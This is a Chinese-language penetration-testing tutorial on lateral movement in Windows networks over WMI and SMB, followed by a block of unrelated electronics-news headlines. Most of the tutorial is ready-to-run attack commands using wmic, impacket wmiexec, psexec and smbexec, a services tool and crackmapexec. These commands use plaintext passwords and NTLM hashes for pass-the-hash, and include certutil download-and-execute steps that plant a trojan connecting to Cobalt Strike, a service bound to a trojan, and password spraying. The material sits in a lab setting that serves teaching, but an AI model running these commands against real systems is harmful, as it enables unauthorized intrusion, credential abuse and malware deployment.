wmi
什么是wmi?
wmi是通过135端口进行利用,支持用户名明文或hash的方式进行认证,在使用wmic执行命令过程中,操作系统默认不会将wmic的操作记录在日志中,因此在利用过程中不会产生日志。所以越来越多的攻击者开始渐渐使用wmi进行攻击。
wmi的利用条件
1. 获得目标机器的用户名和密码
2. 开放139、445端口
wmic的使用需要对方开启135端口(有的工具需要445端口)和admin$共享,135端口是wmi默认的管理端口
wmi利用手法
wmi演示环境如下图:
wmic
系统自带的wmic命令是单执行,无回显的,并且只支持明文密码,不支持hash进行传递 在这里,我们对sqlserver执行了一个ipconfig的命令,并将结果保存在c盘的ip.txt文件中:
wmic /node:192.168.3.32 /user:administrator /password:admin!@#45 process call create cmd.exe /c ipconfig > c:ip.txt
可以看到我们并无法直接看到命令的回显,但我们上帝视角切到靶机发现确实是执行命令了的 。
这里如果在实战中,如果想要查看文件内容和文件是否上传成功的话,就要使用上篇文章内网移动-ipc中的type和dir命令
dir \192.168.3.32c$ #列出该主机的c盘下的文件 type \192.168.3.32c$ip.txt
这里将其上线cs的步骤也是:使用下载命令让其下载web server中的木马,执行上线
wmic /node:192.168.3.32 /user:administrator /password:admin!@#45 process call create cmd.exe /c certutil -urlcache -split -f #下载webserver中的木马文件到自己的c盘
wmic /node:192.168.3.32 /user:administrator /password:admin!@#45 process call create cmd.exe /c c:/4444.exe # 执行木马
可以看到此时sqlserver成功被上线。
wmiexec.vbs
wmiexec.vbs 脚本通过 vbs 调用 wmi 来模拟 psexec 的功能,wmiexec.vbs 下载地址:https://github.com/k8gege/k8tools/blob/master/wmiexec.vbs,交互式,适合在反弹shell或msfconsole中使用,不适合cs控制 首先我们将其上传到跳板机中,然后再使用命令去连接,由于cs无法返回shell的问题,所以该脚本并不适用于在cs中运行,所以这里我选择将会话转移到msf中去运行。
cscript //nologo wmiexec.vbs /shell 192.168.3.32 administrator admin!@#45
可以看到在msf中运行了该文件后,成功将sqlserver的shell反弹了过来,在此我们可以直接让其下载后门并执行,上线到我们的cs中。
cmd.exe /c certutil -urlcache -split -f
可以看到sqlserver成功上线cs
wmiexec-impacket
impacket套件中的wmiexec同样可对wmi进行横向移动,并且支持交互式与单执行,支持hash进行传递,相对来说更为方便,这里直接使用它的py脚本配合socket代理就可以对其内网进行横向移动,避免了上传文件等敏感操作。首先设置好socket代理,与proxifier的代理与代理规则
配置好socket代理与规则后,就可直接在本机中调用wmiexec.py文件对其内网进行wmi利用
python wmiexec.py ./administrator:admin12345@192.168.3.21 # 通过明文密码连接获得目标本地用户交互式shell python wmiexec.py god/administrator:admin12345@192.168.3.21 # 通过明文密码连接获得目标域用户交互式shell
通过该命令成功获得一个交互式的shell,那么wmiexec.py也可单执行命令。
python wmiexec.py ./administrator:admin!@#45@192.168.3.32 whoami # 以明文密码连接本地用户并执行命令
python wmiexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 whoami # 以hash密码连接本地用户并执行命令
这里将目标上线cs的方式和上面一致,通过命令下载木马并执行。
python wmiexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 cmd.exe /c certutil -urlcache -split -f
smb
什么是smb?
smb(server message block)服务器信息块,它也是一种客户端到服务器的通信协议。除此之外,smb协议也被称为请求-回复协议。客户端与服务器建立连接后,客户端可以向服务器发送smb命令允许用户访问共享、打开、读取或者是写入文件
smb的利用条件
1. 利用smb服务可以通过明文或hash传递来远程执行,条件445服务端口开放。
2. 获得该目标的账号名与密码或hash
smb利用手法
smb演示环境如下图:
psexec
官方psexec
psexec 是由 mark russinovich 创建的 sysinternals suite中包含的工具。最初,它旨在作为系统管理员的便利工具,以便他们可以通过在远程主机上运行命令来执行维护任务。后来因为太过方便,被利用到内网渗透之中,但不支持hash传递,且cs无法利用,而且该工具好像只能在具有桌面权限后才可进行利用,我这里使用msf和反弹shell都无法成功反弹shell.... 这里将psexec.64上传到跳板机中
然后在跳板机桌面中运行该工具,就会反弹出目标机器的shell,如下图所示
psexec64.exe \192.168.3.32 -u administrator -p admin!@#45 -s cmd
impacket-psexec
还有一个psexec就是我们的impacket套件中的工具,官方psexec有诸多限制,如不支持hash、cs、msf无法利用成功等问题,所以这里选择使用impacket中的psexec工具就相对来说比较灵活,同样,为了避免发送上传文件时数据丢失或被查杀等问题,我们可使用socket+psexec.py对其内网进行横向移动。socket配置此处不再描述,这里直接使用impacket-psexec.py进行利用
psexec.py ./administrator:admin!@#45@192.168.3.32 # 通过明文密码连接获得目标本地用户交互式shell psexec.py god/administrator:admin12345@192.168.3.21 # 通过明文密码连接获得目标域用户交互式shell
python psexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 # 通过哈希密码连接获得目标本地用户交互式shell python psexec.py -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 # 通过哈希密码连接获得目标域用户交互式shell
cs插件-psexec
在我们的cs中其实也有psexec利用功能,且利用较为方便与简单,在targets中选中目标右键即可弹出利用选项,且支持hash的移动
点击psexec64后,就会让我们选择用户名密码与所登录域等,这里我们直接选择之前我们在跳板机中所收集的密码,domain置空的话为本地用户登录,输入域名后则为域用户登录,选择监听器和会话之后,点击launch即可。
这里看到sqlserver成功上线,这里如果想以域用户的身份登录时,domain处输入域名即为域用户身份登录。
较为简单,这里不做过多讲解。
smbexec-impacket
在impacket中smbexec工具也可以进行移动,该工具利用方式和psexec利用方式相同,这里简单介绍一下即可
python smbexec.py ./administrator:admin!@#45@192.168.3.32 # 通过明文密码连接获得目标本地用户交互式shell python smbexec.py -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 #通过哈希密码连接获得目标域用户交互式shell
services
同时还有一个系统自带的服务也可进行利用,该服务支持哈希密码传递,且为单执行无回显,无法交互shell。具体利用过程如下:首先建立smb连接后,创建一个服务,服务绑定木马,然后在启动该服务,即可上线到cs中
services -hashes :518b98ad4178a53695dc997aa02d455c ./administrator:@192.168.3.32 create -name shell -display shellexec -path c:4444.exe # 建立smb连接并创建服务绑定木马 services -hashes :518b98ad4178a53695dc997aa02d455c ./administrator:@192.168.3.32 start -name shell # 启动shell服务
crackmapexec
在内网渗透中,能获取到主机管理员账号密码,将会使我们横向事半功倍,尤其是在大内网环境中,密码复用率很高,一波喷洒,能助力你拿到一波主机,对拿到的主机再次抓取密码,再用新拿到的密码喷洒一波......,如此反复。密码喷洒的思路就是这样:不断收集内网账号密码,不断去喷洒。这时我们就需要类似crackmapexec这样的密码喷洒工具,对其内网进行密码喷洒。crackmap同样的,crackmapexec支持本地、域内和明文密文的fuzz,具体利用命令如下:域用户明文密码喷洒:
proxychains crackmapexec smb 192.168.3.21-32 -u dbadmin -p 'admin12345'
本地用户明文密码喷洒:
proxychains crackmapexec smb 192.168.3.21-32 -u administrator -p 'admin!@#45' --local-auth
域内用户hash密码喷洒
proxychains crackmapexec smb 192.168.3.32 -u dbadmin -h '518b98ad4178a53695dc997aa02d455c'
本地用户hash密码喷洒
proxychains crackmapexec smb 192.168.3.32 -u administrator -h '518b98ad4178a53695dc997aa02d455c' --local-auth
执行命令也是非常的简单,这里直接在上面命令后加上-x 'bash' 即可
proxychains crackmapexec smb 192.168.3.32 -u administrator -h '518b98ad4178a53695dc997aa02d455c' --local-auth -x 'whoami'
当然这里也可以通过已经喷洒出的主机和密码配合cs中的psexec上线到cs中。此处就不再演示。
基于LED的筒灯成为市场上最受欢迎的家庭照明产品
格力集团投资新能源汽车企业FF,不是董明珠干的
电梯龙头市占率将进一步提升,留给NB-IoT企业的机会又有多少
回顾上周人工智能大事件TOP10
达摩院AI领域开门红,微软谷歌专家纷纷入职阿里
什么是WMI?WMI利用手法介绍
SpaceX “运输者 1 号”任务成功发射 一箭 143 星破纪录
中国电信丰富的5G互动应用亮相2019年中国PT展
国微思尔芯发布FPGA高密原型验证解决方案新品
英特尔认为计算机视觉是AI落地的重要一环
在市场普遍低迷的大环境下 长城汽车四大品牌销量连续上涨
为什么薄膜开关寿命这么长
电阻应变计的电阻相对变化
如何为你的设计选择合适的运算放大器?
厚物科技PXIe机箱PXI机箱PXIe笔记本HW-19133
喜临门发布智能悬浮床垫_智能监测睡眠质量
气体探测报警器常见故障分析与解决方法
5G还没来,但有几点是现在知道的,手机必须换啊!
电网谐波的产生原因和影响分析
Exynos8895和骁龙835差异